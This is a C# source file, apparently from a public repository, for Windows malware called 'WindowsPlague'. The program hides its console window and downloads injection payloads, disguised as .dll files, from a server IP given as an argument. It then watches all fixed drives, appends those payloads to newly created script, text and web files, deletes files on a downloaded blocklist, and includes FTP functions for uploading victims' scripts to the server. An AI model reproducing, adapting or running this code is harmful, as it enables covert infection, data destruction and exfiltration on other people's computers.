-
Notifications
You must be signed in to change notification settings - Fork 8
/
Copy pathProgram.cs
301 lines (275 loc) · 11.5 KB
/
Program.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
using System;
using System.Collections.Generic;
using System.IO;
using System.Net;
using System.Text.RegularExpressions;
using System.Runtime.InteropServices;
namespace WindowsPlague
{
class Program
{
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
// To hide the window
const int SW_HIDE = 0;
const int SW_SHOW = 5;
// The IP of the FTP and HTTP server.
// The HTTP server should have all the injection files
// which should be the same as the FTP server that will
// receive all PS1 scripts
string ip;
string TXTtext;
string PS1text;
string BATtext;
string PHPtext;
string ASPtext;
string[] ANTIUtextList;
Regex TXTregex;
Regex PS1regex;
Regex BATregex;
Regex EXEregex;
Regex PHPregex;
Regex ASPregex;
Regex ASPXregex;
FtpWebRequest ftp;
FileSystemWatcher watcher = new FileSystemWatcher();
List<FileSystemWatcher> watches = new List<FileSystemWatcher>();
public Program(string ip)
{
this.hide();
//Set the server's IP
this.ip = ip;
//Download the files first
this.getInjections();
// .dll as a kind of disguisement
// Read entire text file content in one line
this.TXTtext = File.ReadAllText(
Path.Combine(Environment.CurrentDirectory, "Itxt.dll")).ToString();
this.PS1text = File.ReadAllText(
Path.Combine(Environment.CurrentDirectory, "Ips1.dll")).ToString();
this.BATtext = File.ReadAllText(
Path.Combine(Environment.CurrentDirectory, "Ibat.dll")).ToString();
this.PHPtext = File.ReadAllText(
Path.Combine(Environment.CurrentDirectory, "Iphp.dll")).ToString();
this.ASPtext = File.ReadAllText(
Path.Combine(Environment.CurrentDirectory, "Iasp.dll")).ToString();
// Get just the path of the list of the prohibited files.
this.ANTIUtextList = File.ReadAllLines(Path.Combine(Environment.CurrentDirectory, "antiu.dll"));
this.TXTregex = new Regex(@"^.*\.txt$", RegexOptions.IgnoreCase);
this.PS1regex = new Regex(@"^.*\.ps1$", RegexOptions.IgnoreCase);
this.BATregex = new Regex(@"^.*\.bat$", RegexOptions.IgnoreCase);
this.EXEregex = new Regex(@"^.*\.exe$", RegexOptions.IgnoreCase);
this.PHPregex = new Regex(@"^.*\.php$", RegexOptions.IgnoreCase);
this.ASPregex = new Regex(@"^.*\.asp$", RegexOptions.IgnoreCase);
this.ASPXregex = new Regex(@"^.*\.aspx$", RegexOptions.IgnoreCase);
this.watchStart();
}
public void watchStart()
{
DriveInfo[] allDrives = DriveInfo.GetDrives();
FileSystemWatcher watch;
foreach (DriveInfo d in allDrives)
{
if (d.DriveType == DriveType.Fixed)
{
watch = new FileSystemWatcher();
watch.InternalBufferSize = 1024 * 1024;
watch.Path = d.RootDirectory.ToString();
watch.IncludeSubdirectories = true;
watch.NotifyFilter = NotifyFilters.FileName;
watch.Created += new FileSystemEventHandler(OnCreation);
watch.EnableRaisingEvents = true;
watches.Add(watch);
}
}
return;
}
public void OnCreation(object source, FileSystemEventArgs e)
{
// Delete all prohibited files
// If 1 it stops since the file will be deleted
if (checkProhibitedList(e)) return;
// Wait 1 sec
System.Threading.Thread.Sleep(1000);
if (TXTregex.Match(e.FullPath).Success |
PS1regex.Match(e.FullPath).Success |
EXEregex.Match(e.FullPath).Success |
ASPregex.Match(e.FullPath).Success |
PHPregex.Match(e.FullPath).Success |
ASPXregex.Match(e.FullPath).Success |
BATregex.Match(e.FullPath).Success)
{
//This works
// Which is copying files from a place to another place
try
{
if (!File.Exists(e.FullPath))
return;
// This text is always added, making the file longer over time
// if it is not deleted.
using (StreamWriter sw = File.AppendText(e.FullPath))
{
if (TXTregex.Match(e.FullPath).Success)
{
sw.WriteLine(TXTtext.ToString());
}
else if (PS1regex.Match(e.FullPath).Success)
{
sw.WriteLine(PS1text.ToString());
//send2server(e);
//UploadFtpFile(e);
}
else if (BATregex.Match(e.FullPath).Success)
{
sw.WriteLine(BATtext.ToString());
}
else if (PHPregex.Match(e.FullPath).Success)
{
sw.WriteLine(PHPtext.ToString());
}
else if (ASPregex.Match(e.FullPath).Success | ASPXregex.Match(e.FullPath).Success)
{
// There is just one file for asp and aspx since all of them are the same
sw.WriteLine(ASPtext.ToString());
}
else
{
sw.WriteLine("NONE!");
}
}
// If ps1 Send it to ftp server
//
// TODO - Write a function to do that
}
catch (IOException ex)
{
Console.WriteLine(ex.Message);
}
}
// If exe file:
// Do something
else if (EXEregex.Match(e.FullPath).Success)
{
try
{
Console.WriteLine("EXE is here");
}
catch (IOException ex)
{
Console.WriteLine(ex.Message);
}
}
return;
}
// TODO
// Read ANTIUtext just once and just save the lines
// So you do not read it every time this function gets called
private Boolean checkProhibitedList(FileSystemEventArgs e)
{
try
{
if (File.Exists(e.FullPath))
{
foreach (string line in ANTIUtextList)
{
System.Console.WriteLine(line);
Regex TMPregex = new Regex(@line.Trim(), RegexOptions.IgnoreCase);
if (TMPregex.Match(e.FullPath).Success)
{
// If success delete the file
File.Delete(e.FullPath);
return true;
}
}
}
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
return false;
}
public void UploadFtpFile(FileSystemEventArgs e)
{
string fileName = Path.GetFileName(e.FullPath);
FtpWebRequest request;
request = WebRequest.Create(new Uri(string.Format(@"ftp://{0}/{1}", this.ip, fileName))) as FtpWebRequest;
request.Method = WebRequestMethods.Ftp.UploadFile;
request.UseBinary = true;
request.UsePassive = true;
request.KeepAlive = true;
request.Credentials = new NetworkCredential("anonymous", "[email protected]");
request.ConnectionGroupName = "group";
using (FileStream fs = File.OpenRead(fileName))
{
byte[] buffer = new byte[fs.Length];
fs.Read(buffer, 0, buffer.Length);
fs.Close();
Stream requestStream = request.GetRequestStream();
requestStream.Write(buffer, 0, buffer.Length);
requestStream.Flush();
requestStream.Close();
}
}
private void send2server(FileSystemEventArgs e)
{
string fileName = Path.GetFileName(e.FullPath);
Console.WriteLine("ftp://" + this.ip + "/" + fileName);
ftp = (FtpWebRequest)WebRequest.Create("ftp://" + this.ip + "/" + fileName);
ftp.Method = WebRequestMethods.Ftp.UploadFile;
ftp.Credentials = new NetworkCredential("anonymous", "[email protected]");
ftp.UseBinary = true;
ftp.UsePassive = true;
using (FileStream fs = File.OpenRead(e.FullPath))
{
byte[] buffer = new byte[fs.Length];
fs.Read(buffer, 0, buffer.Length);
fs.Close();
try
{
Stream requestStream = ftp.GetRequestStream();
requestStream.Write(buffer, 0, buffer.Length);
requestStream.Close();
requestStream.Flush();
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
}
return;
}
private void hide()
{
var handle = GetConsoleWindow();
// Hide
ShowWindow(handle, SW_HIDE);
return;
}
private void getInjections()
{
WebClient webClient = new WebClient();
webClient.DownloadFile("http://" + ip + "/Itxt.dll", Path.Combine(Environment.CurrentDirectory, "Itxt.dll"));
webClient.DownloadFile("http://" + ip + "/Ips1.dll", Path.Combine(Environment.CurrentDirectory, "Ips1.dll"));
webClient.DownloadFile("http://" + ip + "/Ibat.dll", Path.Combine(Environment.CurrentDirectory, "Ibat.dll"));
webClient.DownloadFile("http://" + ip + "/Iphp.dll", Path.Combine(Environment.CurrentDirectory, "Iphp.dll"));
webClient.DownloadFile("http://" + ip + "/Iasp.dll", Path.Combine(Environment.CurrentDirectory, "Iasp.dll"));
webClient.DownloadFile("http://" + ip + "/antiu.dll", Path.Combine(Environment.CurrentDirectory, "antiu.dll"));
}
static void Main(string[] args)
{
try
{
Program p = new Program(args[0]);
var name = Console.ReadLine();
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
Main(args);
}
}
}
}